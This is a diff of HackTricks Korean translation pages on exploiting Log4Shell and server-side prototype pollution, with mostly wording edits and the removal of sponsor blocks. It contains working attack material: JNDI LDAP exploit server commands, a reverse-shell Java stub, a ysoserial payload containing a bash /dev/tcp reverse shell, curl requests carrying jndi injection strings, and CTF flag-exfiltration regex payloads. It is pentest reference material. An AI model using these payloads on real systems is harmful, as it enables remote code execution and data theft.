```bash
|
||||||
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://<your_ip_http_server>:8000/#Exploit"
|
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://<your_ip_http_server>:8000/#Exploit"
|
||||||
```
|
```
|
||||||
대상을 리버스 셸 코드를 로드하도록 유도하기 위해, 아래 내용을 포함한 `Exploit.java`라는 이름의 Java 파일을 작성하십시오:
|
대상을 리버스 셸 코드를 로드하도록 유도하기 위해, 아래 내용을 포함한 `Exploit.java`라는 이름의 Java 파일을 작성합니다:
|
||||||
```java
|
```java
|
||||||
public class Exploit {
|
public class Exploit {
|
||||||
static {
|
static {
|
||||||
|
@ -265,7 +257,7 @@ ${jndi:ldap://<LDAP_IP>:1389/Exploit}
|
||||||
### RCE - **JNDIExploit**
|
### RCE - **JNDIExploit**
|
||||||
|
|
||||||
{% hint style="info" %}
|
{% hint style="info" %}
|
||||||
어떤 이유로 저자가 log4shell 발견 후 이 프로젝트를 github에서 제거했다는 점에 유의하십시오. [https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2](https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2)에서 캐시된 버전을 찾을 수 있지만, 저자의 결정을 존중하고 싶다면 이 취약점을 이용하기 위해 다른 방법을 사용하십시오.
|
어떤 이유로 저자가 log4shell 발견 후 이 프로젝트를 github에서 제거했다는 점에 유의하십시오. [https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2](https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2)에서 캐시된 버전을 찾을 수 있지만, 저자의 결정을 존중하고 싶다면 이 취약점을 이용하는 다른 방법을 사용하십시오.
|
||||||
|
|
||||||
또한, wayback machine에서 소스 코드를 찾을 수 없으므로, 소스 코드를 분석하거나 실행하는 내용을 모른 채 jar 파일을 실행하십시오.
|
또한, wayback machine에서 소스 코드를 찾을 수 없으므로, 소스 코드를 분석하거나 실행하는 내용을 모른 채 jar 파일을 실행하십시오.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
@ -279,7 +271,7 @@ unzip JNDIExploit.v1.2.zip
|
||||||
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 172.17.0.1 -p 8888 # Use your private IP address and a port where the victim will be able to access
|
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 172.17.0.1 -p 8888 # Use your private IP address and a port where the victim will be able to access
|
||||||
```
|
```
|
||||||
코드를 몇 분 읽은 후, _com.feihong.ldap.LdapServer_와 _com.feihong.ldap.HTTPServer_에서 **LDAP 및 HTTP 서버가 생성되는 방법**을 볼 수 있습니다. LDAP 서버는 어떤 페이로드를 제공해야 하는지 이해하고, 피해자를 HTTP 서버로 리디렉션하여 익스플로잇을 제공합니다.\
|
코드를 몇 분 읽은 후, _com.feihong.ldap.LdapServer_와 _com.feihong.ldap.HTTPServer_에서 **LDAP 및 HTTP 서버가 생성되는 방법**을 볼 수 있습니다. LDAP 서버는 어떤 페이로드를 제공해야 하는지 이해하고, 피해자를 HTTP 서버로 리디렉션하여 익스플로잇을 제공합니다.\
|
||||||
_com.feihong.ldap.gadgets_에서는 원하는 작업을 실행하는 데 사용할 수 있는 **특정 가젯**을 찾을 수 있습니다(잠재적으로 임의 코드를 실행할 수 있음). 그리고 _com.feihong.ldap.template_에서는 **익스플로잇을 생성하는** 다양한 템플릿 클래스를 볼 수 있습니다.
|
_코드_에서 **원하는 작업을 실행하는 데 사용할 수 있는 특정 가젯**을 찾을 수 있습니다(잠재적으로 임의 코드를 실행할 수 있음). 그리고 _com.feihong.ldap.template_에서 **익스플로잇을 생성하는** 다양한 템플릿 클래스를 볼 수 있습니다.
|
||||||
|
|
||||||
모든 사용 가능한 익스플로잇은 **`java -jar JNDIExploit-1.2-SNAPSHOT.jar -u`**로 확인할 수 있습니다. 유용한 것들은 다음과 같습니다:
|
모든 사용 가능한 익스플로잇은 **`java -jar JNDIExploit-1.2-SNAPSHOT.jar -u`**로 확인할 수 있습니다. 유용한 것들은 다음과 같습니다:
|
||||||
```bash
|
```bash
|
||||||
|
@ -304,7 +296,7 @@ curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Comma
|
||||||
### RCE - JNDI-Exploit-Kit <a href="#rce__jndiexploitkit_33" id="rce__jndiexploitkit_33"></a>
|
### RCE - JNDI-Exploit-Kit <a href="#rce__jndiexploitkit_33" id="rce__jndiexploitkit_33"></a>
|
||||||
|
|
||||||
이전 익스플로잇과 유사하게, 이 취약점을 악용하기 위해 [**JNDI-Exploit-Kit**](https://github.com/pimps/JNDI-Exploit-Kit)를 사용할 수 있습니다.\
|
이전 익스플로잇과 유사하게, 이 취약점을 악용하기 위해 [**JNDI-Exploit-Kit**](https://github.com/pimps/JNDI-Exploit-Kit)를 사용할 수 있습니다.\
|
||||||
희생자에게 보낼 URL을 생성하려면 다음을 실행하세요:
|
피해자에게 보낼 URL을 생성하려면 다음을 실행하세요:
|
||||||
```bash
|
```bash
|
||||||
# Get reverse shell in port 4444 (only unix)
|
# Get reverse shell in port 4444 (only unix)
|
||||||
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.17.0.1:8888 -S 172.17.0.1:4444
|
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.17.0.1:8888 -S 172.17.0.1:4444
|
||||||
|
@ -322,12 +314,12 @@ _이 공격은 사용자 정의 생성된 자바 객체를 사용하여 **THM
|
||||||
|
|
||||||
이 옵션은 **지정된 클래스만 신뢰하도록 구성된 Java 버전을 공격하는 데 정말 유용합니다**. 따라서 **ysoserial**은 **임의 코드를 실행하는 데 사용할 수 있는 신뢰할 수 있는 클래스의 직렬화를 생성하는 데 사용됩니다** (_ysoserial에 의해 악용된 신뢰할 수 있는 클래스는 공격이 작동하기 위해 피해자 자바 프로그램에서 사용되어야 합니다_).
|
이 옵션은 **지정된 클래스만 신뢰하도록 구성된 Java 버전을 공격하는 데 정말 유용합니다**. 따라서 **ysoserial**은 **임의 코드를 실행하는 데 사용할 수 있는 신뢰할 수 있는 클래스의 직렬화를 생성하는 데 사용됩니다** (_ysoserial에 의해 악용된 신뢰할 수 있는 클래스는 공격이 작동하기 위해 피해자 자바 프로그램에서 사용되어야 합니다_).
|
||||||
|
|
||||||
**ysoserial** 또는 [**ysoserial-modified**](https://github.com/pimps/ysoserial-modified)를 사용하여 JNDI에 의해 다운로드될 deserialization exploit를 생성할 수 있습니다:
|
**ysoserial** 또는 [**ysoserial-modified**](https://github.com/pimps/ysoserial-modified)를 사용하여 JNDI에 의해 다운로드될 역직렬화 공격을 생성할 수 있습니다:
|
||||||
```bash
|
```bash
|
||||||
# Rev shell via CommonsCollections5
|
# Rev shell via CommonsCollections5
|
||||||
java -jar ysoserial-modified.jar CommonsCollections5 bash 'bash -i >& /dev/tcp/10.10.14.10/7878 0>&1' > /tmp/cc5.ser
|
java -jar ysoserial-modified.jar CommonsCollections5 bash 'bash -i >& /dev/tcp/10.10.14.10/7878 0>&1' > /tmp/cc5.ser
|
||||||
```
|
```
|
||||||
[**JNDI-Exploit-Kit**](https://github.com/pimps/JNDI-Exploit-Kit)를 사용하여 **JNDI 링크**를 생성하여 취약한 머신에서 연결을 기다리게 합니다. JNDI-Exploit-Kit에 의해 자동으로 생성될 수 있는 **다른 익스플로잇**을 제공하거나, 심지어 **자신의 역직렬화 페이로드**(자신이 생성한 것 또는 ysoserial)를 제공할 수 있습니다.
|
[**JNDI-Exploit-Kit**](https://github.com/pimps/JNDI-Exploit-Kit)를 사용하여 취약한 머신에서 연결을 기다리는 **JNDI 링크**를 생성합니다. JNDI-Exploit-Kit에 의해 자동으로 생성될 수 있는 **다양한 익스플로잇**을 제공하거나, 심지어 **자신의 역직렬화 페이로드**(자신이 생성한 것 또는 ysoserial)를 제공할 수 있습니다.
|
||||||
```bash
|
```bash
|
||||||
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 10.10.14.10:1389 -P /tmp/cc5.ser
|
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 10.10.14.10:1389 -P /tmp/cc5.ser
|
||||||
```
|
```
|
||||||
|
@ -373,7 +365,7 @@ Log4j의 [**보안 페이지**](https://logging.apache.org/log4j/2.x/security.ht
|
||||||
|
|
||||||
> 버전 2.16.0(자바 8부터)부터는 **메시지 조회 기능이 완전히 제거되었습니다**. **구성에서의 조회는 여전히 작동합니다**. 게다가, Log4j는 이제 기본적으로 JNDI 접근을 비활성화합니다. 구성에서의 JNDI 조회는 이제 명시적으로 활성화해야 합니다.
|
> 버전 2.16.0(자바 8부터)부터는 **메시지 조회 기능이 완전히 제거되었습니다**. **구성에서의 조회는 여전히 작동합니다**. 게다가, Log4j는 이제 기본적으로 JNDI 접근을 비활성화합니다. 구성에서의 JNDI 조회는 이제 명시적으로 활성화해야 합니다.
|
||||||
|
|
||||||
> 버전 2.17.0(자바 7 및 자바 6의 2.12.3 및 2.3.1 포함)부터는 **구성에서의 조회 문자열만 재귀적으로 확장됩니다**; 다른 사용에서는 최상위 조회만 해결되며, 중첩된 조회는 해결되지 않습니다.
|
> 버전 2.17.0부터(자바 7 및 자바 6의 경우 2.12.3 및 2.3.1), **구성에서의 조회 문자열만 재귀적으로 확장됩니다**; 다른 사용에서는 최상위 조회만 해결되며, 중첩된 조회는 해결되지 않습니다.
|
||||||
|
|
||||||
이는 기본적으로 `jndi` 악용을 **잊어버릴 수 있다는 것을 의미합니다**. 게다가, **재귀 조회**를 수행하려면 이를 구성해야 합니다.
|
이는 기본적으로 `jndi` 악용을 **잊어버릴 수 있다는 것을 의미합니다**. 게다가, **재귀 조회**를 수행하려면 이를 구성해야 합니다.
|
||||||
|
|
||||||
|
@ -391,7 +383,7 @@ Log4j의 [**보안 페이지**](https://logging.apache.org/log4j/2.x/security.ht
|
||||||
|
|
||||||
### Exfiltration in Exceptions
|
### Exfiltration in Exceptions
|
||||||
|
|
||||||
CTF에서는 log4J를 사용하여 java 애플리케이션의 **stderr에 접근할 수 없었지만**, Log4J **예외는 stdout으로 전송**되었고, 이는 파이썬 앱에 출력되었습니다. 이는 예외를 발생시켜 내용을 접근할 수 있음을 의미했습니다. 플래그를 유출하기 위한 예외는: **`${java:${env:FLAG}}`.** 이는 **`${java:CTF{blahblah}}`**가 존재하지 않기 때문에 작동하며, 플래그의 값이 포함된 예외가 표시됩니다:
|
CTF에서는 log4J를 사용하는 자바 애플리케이션의 **stderr에 접근할 수 없었지만**, Log4J **예외는 stdout으로 전송**되어 파이썬 앱에 출력되었습니다. 이는 예외를 발생시켜 내용을 접근할 수 있음을 의미했습니다. 플래그를 유출하기 위한 예외는: **`${java:${env:FLAG}}`.** 이는 **`${java:CTF{blahblah}}`**가 존재하지 않기 때문에 작동하며, 플래그의 값이 있는 예외가 표시됩니다:
|
||||||
|
|
||||||
![](<../../.gitbook/assets/image (1023).png>)
|
![](<../../.gitbook/assets/image (1023).png>)
|
||||||
|
|
||||||
|
@ -401,16 +393,16 @@ CTF에서는 log4J를 사용하여 java 애플리케이션의 **stderr에 접근
|
||||||
|
|
||||||
![](<../../.gitbook/assets/image (683).png>)
|
![](<../../.gitbook/assets/image (683).png>)
|
||||||
|
|
||||||
이것은 오류 메시지 내에서 데이터를 유출하는 데 유용하지 않았습니다. 왜냐하면 변환 패턴 이전에 조회가 해결되지 않았기 때문이지만, 탐지와 같은 다른 용도로 유용할 수 있습니다.
|
이것은 오류 메시지 내의 데이터를 유출하는 데 유용하지 않았습니다. 왜냐하면 변환 패턴 이전에 조회가 해결되지 않았기 때문입니다. 그러나 탐지와 같은 다른 용도로 유용할 수 있습니다.
|
||||||
|
|
||||||
### Conversion Patterns Regexes
|
### Conversion Patterns Regexes
|
||||||
|
|
||||||
그러나, **정규 표현식을 지원하는 변환 패턴**을 사용하여 정규 표현식을 사용하고 **이진 검색** 또는 **시간 기반** 동작을 악용하여 조회에서 정보를 유출할 수 있습니다.
|
그러나 **정규 표현식을 지원하는 변환 패턴**을 사용하여 정규 표현식을 사용하고 **이진 검색** 또는 **시간 기반** 동작을 악용하여 조회에서 정보를 유출할 수 있습니다.
|
||||||
|
|
||||||
* **예외 메시지를 통한 이진 검색**
|
* **예외 메시지를 통한 이진 검색**
|
||||||
|
|
||||||
변환 패턴 **`%replace`**는 **정규 표현식**을 사용하여 **문자열**의 **내용**을 **대체**하는 데 사용할 수 있습니다. 작동 방식은 다음과 같습니다: `replace{pattern}{regex}{substitution}`\
|
변환 패턴 **`%replace`**는 **정규 표현식**을 사용하여 **문자열**의 **내용**을 **대체**하는 데 사용할 수 있습니다. 작동 방식은 다음과 같습니다: `replace{pattern}{regex}{substitution}`\
|
||||||
이 동작을 악용하여 정규 표현식이 문자열 내의 어떤 것과도 일치하면 **예외를 발생시키고** 일치하지 않으면 예외가 발생하지 않도록 만들 수 있습니다:
|
이 동작을 악용하여 정규 표현식이 문자열 내의 어떤 것과도 일치하면 **예외를 발생시키고** 찾지 못하면 예외가 발생하지 않도록 만들 수 있습니다.
|
||||||
```bash
|
```bash
|
||||||
%replace{${env:FLAG}}{^CTF.*}{${error}}
|
%replace{${env:FLAG}}{^CTF.*}{${error}}
|
||||||
# The string searched is the env FLAG, the regex searched is ^CTF.*
|
# The string searched is the env FLAG, the regex searched is ^CTF.*
|
||||||
|
@ -418,10 +410,10 @@ CTF에서는 log4J를 사용하여 java 애플리케이션의 **stderr에 접근
|
||||||
```
|
```
|
||||||
* **시간 기반**
|
* **시간 기반**
|
||||||
|
|
||||||
앞서 언급했듯이, **`%replace`**는 **정규 표현식**을 지원합니다. 따라서 플래그가 발견될 경우 **타임아웃**을 유발하기 위해 [**ReDoS 페이지**](../regular-expression-denial-of-service-redos.md)의 페이로드를 사용할 수 있습니다.\
|
앞서 언급했듯이, **`%replace`**는 **정규 표현식**을 지원합니다. 따라서 플래그가 발견될 경우 **타임아웃**을 유발하기 위해 [**ReDoS 페이지**](../regular-expression-denial-of-service-redos.md)에서 페이로드를 사용할 수 있습니다.\
|
||||||
예를 들어, `%replace{${env:FLAG}}{^(?=CTF)((.`_`)`_`)*salt$}{asd}`와 같은 페이로드는 해당 CTF에서 **타임아웃**을 유발합니다.
|
예를 들어, `%replace{${env:FLAG}}{^(?=CTF)((.`_`)`_`)*salt$}{asd}`와 같은 페이로드는 해당 CTF에서 **타임아웃**을 유발할 것입니다.
|
||||||
|
|
||||||
이 [**작성글**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/)에서는 ReDoS 공격 대신 **증폭 공격**을 사용하여 응답의 시간 차이를 유발했습니다:
|
이 [**작성물**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/)에서는 ReDoS 공격 대신 **증폭 공격**을 사용하여 응답의 시간 차이를 유발했습니다:
|
||||||
|
|
||||||
> ```
|
> ```
|
||||||
> /%replace{
|
> /%replace{
|
||||||
|
@ -438,11 +430,12 @@ CTF에서는 log4J를 사용하여 java 애플리케이션의 **stderr에 접근
|
||||||
> }{#}{######################################################}
|
> }{#}{######################################################}
|
||||||
> }{#}{######################################################}
|
> }{#}{######################################################}
|
||||||
> }{#}{######################################################}
|
> }{#}{######################################################}
|
||||||
|
> }{#}{######################################################}
|
||||||
> ```
|
> ```
|
||||||
>
|
>
|
||||||
> 플래그가 `flagGuess`로 시작하면, 전체 플래그는 29개의 `#`로 대체됩니다 (이 문자를 사용한 이유는 플래그의 일부가 아닐 가능성이 높기 때문입니다). **결과적으로 29개의 `#`는 54개의 `#`로 대체됩니다**. 이 과정은 **6번** 반복되어 총 ` 29*54*54^6* =`` `` `**`96816014208`** **`#`가 생성됩니다!**
|
> 플래그가 `flagGuess`로 시작하면 전체 플래그는 29개의 `#`로 대체됩니다 (이 문자를 사용한 이유는 플래그의 일부가 아닐 가능성이 높기 때문입니다). **결과적으로 29개의 `#`는 각각 54개의 `#`로 대체됩니다**. 이 과정은 **6번** 반복되어 총 ` 29*54*54^6* =`` `` `**`96816014208`** **`#`가 됩니다!**
|
||||||
>
|
>
|
||||||
> 이렇게 많은 `#`를 대체하면 Flask 애플리케이션의 10초 타임아웃이 발생하여, 결과적으로 사용자에게 HTTP 상태 코드 500이 전송됩니다. (플래그가 `flagGuess`로 시작하지 않으면 500이 아닌 상태 코드를 받게 됩니다)
|
> 이렇게 많은 `#`를 대체하면 Flask 애플리케이션의 10초 타임아웃이 발생하여 HTTP 상태 코드 500이 사용자에게 전송됩니다. (플래그가 `flagGuess`로 시작하지 않으면 500이 아닌 상태 코드를 받게 됩니다)
|
||||||
|
|
||||||
## 참고 문헌
|
## 참고 문헌
|
||||||
|
|
||||||
|
@ -455,11 +448,6 @@ CTF에서는 log4J를 사용하여 java 애플리케이션의 **stderr에 접근
|
||||||
* [https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/)
|
* [https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/)
|
||||||
* [https://sigflag.at/blog/2022/writeup-googlectf2022-log4j/](https://sigflag.at/blog/2022/writeup-googlectf2022-log4j/)
|
* [https://sigflag.at/blog/2022/writeup-googlectf2022-log4j/](https://sigflag.at/blog/2022/writeup-googlectf2022-log4j/)
|
||||||
|
|
||||||
**Try Hard Security Group**
|
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
@ -470,7 +458,7 @@ GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt=
|
||||||
<summary>HackTricks 지원하기</summary>
|
<summary>HackTricks 지원하기</summary>
|
||||||
|
|
||||||
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter**에서 **팔로우**하세요** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
|
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -15,27 +15,13 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
### [WhiteIntel](https://whiteintel.io)
|
## XSS 응답 제공
|
||||||
|
|
||||||
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
[**WhiteIntel**](https://whiteintel.io)는 **다크 웹** 기반의 검색 엔진으로, 기업이나 고객이 **스틸러 맬웨어**에 의해 **침해**되었는지 확인할 수 있는 **무료** 기능을 제공합니다.
|
|
||||||
|
|
||||||
WhiteIntel의 주요 목표는 정보 탈취 맬웨어로 인한 계정 탈취 및 랜섬웨어 공격에 맞서 싸우는 것입니다.
|
|
||||||
|
|
||||||
그들의 웹사이트를 확인하고 **무료**로 엔진을 사용해 볼 수 있습니다:
|
|
||||||
|
|
||||||
{% embed url="https://whiteintel.io" %}
|
|
||||||
|
|
||||||
***
|
|
||||||
|
|
||||||
## Serve XSS responses
|
|
||||||
|
|
||||||
**자세한 내용은** [**원본 연구를 참조하세요**](https://portswigger.net/research/server-side-prototype-pollution)
|
**자세한 내용은** [**원본 연구를 참조하세요**](https://portswigger.net/research/server-side-prototype-pollution)
|
||||||
|
|
||||||
### JSON 콘텐츠 유형을 HTML로 변경
|
### JSON 콘텐츠 유형을 HTML로 변경
|
||||||
|
|
||||||
**JSON 콘텐츠 유형 응답**을 사용하는 Express 앱에서 JSON을 반영할 때:
|
**JSON 콘텐츠 유형 응답**을 사용하고 JSON을 반영하는 Express 앱에서:
|
||||||
```javascript
|
```javascript
|
||||||
app.use(bodyParser.json({type: 'application/json'}));
|
app.use(bodyParser.json({type: 'application/json'}));
|
||||||
app.post('/', function(req, res){
|
app.post('/', function(req, res){
|
||||||
|
@ -94,18 +80,18 @@ It requires the **CORS 모듈이 설치되어야 합니다**
|
||||||
```
|
```
|
||||||
### 오류
|
### 오류
|
||||||
|
|
||||||
프리미티브인 문자열과 같은 것으로 프로토타입에 할당하면 **프로토타입은 객체여야 하므로 no-op 작업이 발생합니다**. `Object.prototype` 자체에 프로토타입 객체를 할당하려고 하면 **예외가 발생합니다**. 우리는 이 두 가지 동작을 사용하여 **프로토타입 오염이 성공했는지 감지할 수 있습니다**:
|
원시값(예: 문자열)으로 프로토타입에 할당하면 **프로토타입은 객체여야 하므로 no-op 작업이 발생합니다**. `Object.prototype` 자체에 프로토타입 객체를 할당하려고 하면 **예외가 발생합니다**. 우리는 이 두 가지 동작을 사용하여 **프로토타입 오염이 성공했는지 감지할 수 있습니다**:
|
||||||
```javascript
|
```javascript
|
||||||
({}).__proto__.__proto__={}//throws type exception
|
({}).__proto__.__proto__={}//throws type exception
|
||||||
({}).__proto__.__proto__="x"//no-op does not throw exception
|
({}).__proto__.__proto__="x"//no-op does not throw exception
|
||||||
```
|
```
|
||||||
### Reflected Value
|
### Reflected Value
|
||||||
|
|
||||||
응용 프로그램이 응답에 객체를 포함할 때, **`__proto__`**와 함께 **비정상적인 이름의 속성**을 생성하는 것은 유용할 수 있습니다. 특히, **응답에 비정상적인 속성만 반환되는 경우**, 이는 응용 프로그램의 취약점을 나타낼 수 있습니다:
|
응용 프로그램이 응답에 객체를 포함할 때, **`__proto__`와 함께 비정상적인 이름의 속성을 생성하는 것**은 유용할 수 있습니다. 특히, **응답에 비정상적인 속성만 반환되는 경우** 이는 응용 프로그램의 취약점을 나타낼 수 있습니다:
|
||||||
```json
|
```json
|
||||||
{"unusualName":"value","__proto__":"test"}
|
{"unusualName":"value","__proto__":"test"}
|
||||||
```
|
```
|
||||||
또한, Lodash와 같은 라이브러리가 사용되는 시나리오에서는 프로토타입 오염(PP)을 통해 속성을 설정하는 것과 객체 내부에서 직접 설정하는 것이 또 다른 진단 접근 방식을 제공합니다. 만약 이러한 속성이 응답에서 생략된다면, 이는 Lodash가 병합하기 전에 대상 객체에서 속성의 존재를 확인하고 있음을 시사합니다:
|
또한 Lodash와 같은 라이브러리가 사용되는 시나리오에서는 프로토타입 오염(PP)을 통해 속성을 설정하고 객체 내부에서 직접 설정하는 것이 또 다른 진단 접근 방식을 제공합니다. 만약 이러한 속성이 응답에서 생략된다면, 이는 Lodash가 병합하기 전에 대상 객체에서 속성의 존재를 확인하고 있음을 시사합니다:
|
||||||
```javascript
|
```javascript
|
||||||
{"__proto__":{"a":"value1"},"a":"value2","b":"value3"}
|
{"__proto__":{"a":"value1"},"a":"value2","b":"value3"}
|
||||||
// If 'b' is the only property reflected, this indicates prototype pollution in Lodash
|
// If 'b' is the only property reflected, this indicates prototype pollution in Lodash
|
||||||
|
@ -115,39 +101,28 @@ It requires the **CORS 모듈이 설치되어야 합니다**
|
||||||
### Allow Dots
|
### Allow Dots
|
||||||
|
|
||||||
Express에는 **쿼리 문자열 매개변수로부터 객체를 생성할 수 있는** 옵션이 있습니다.\
|
Express에는 **쿼리 문자열 매개변수로부터 객체를 생성할 수 있는** 옵션이 있습니다.\
|
||||||
이것은 확실히 **프로토타입 오염 취약점**을 악용하기 위한 버그 **체인**에서 사용할 수 있습니다.
|
이것은 **프로토타입 오염 취약점**을 악용하기 위한 버그 **체인**에서 확실히 사용할 수 있습니다.
|
||||||
```json
|
```json
|
||||||
{"__proto__":{"allowDots":true}}
|
{"__proto__":{"allowDots":true}}
|
||||||
```
|
```
|
||||||
**`?foo.bar=baz`는 Node에서 객체를 생성합니다.**
|
**`?foo.bar=baz`는 Node에서 객체를 생성합니다.**
|
||||||
|
|
||||||
## 참고자료
|
## References
|
||||||
|
|
||||||
* [https://portswigger.net/research/server-side-prototype-pollution](https://portswigger.net/research/server-side-prototype-pollution)
|
* [https://portswigger.net/research/server-side-prototype-pollution](https://portswigger.net/research/server-side-prototype-pollution)
|
||||||
|
|
||||||
### [WhiteIntel](https://whiteintel.io)
|
|
||||||
|
|
||||||
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
[**WhiteIntel**](https://whiteintel.io)는 **다크웹** 기반의 검색 엔진으로, 기업이나 그 고객이 **스틸러 맬웨어**에 의해 **침해**되었는지 확인할 수 있는 **무료** 기능을 제공합니다.
|
|
||||||
|
|
||||||
WhiteIntel의 주요 목표는 정보 탈취 맬웨어로 인한 계정 탈취 및 랜섬웨어 공격에 맞서 싸우는 것입니다.
|
|
||||||
|
|
||||||
그들의 웹사이트를 확인하고 **무료**로 엔진을 사용해 볼 수 있습니다:
|
|
||||||
|
|
||||||
{% embed url="https://whiteintel.io" %}
|
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>HackTricks 지원하기</summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
|
@ -15,20 +15,6 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
#### [WhiteIntel](https://whiteintel.io)
|
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
[**WhiteIntel**](https://whiteintel.io)는 **다크 웹** 기반의 검색 엔진으로, 기업이나 고객이 **stealer malwares**에 의해 **침해**되었는지 확인할 수 있는 **무료** 기능을 제공합니다.
|
|
||||||
|
|
||||||
WhiteIntel의 주요 목표는 정보 탈취 악성 소프트웨어로 인한 계정 탈취 및 랜섬웨어 공격에 맞서 싸우는 것입니다.
|
|
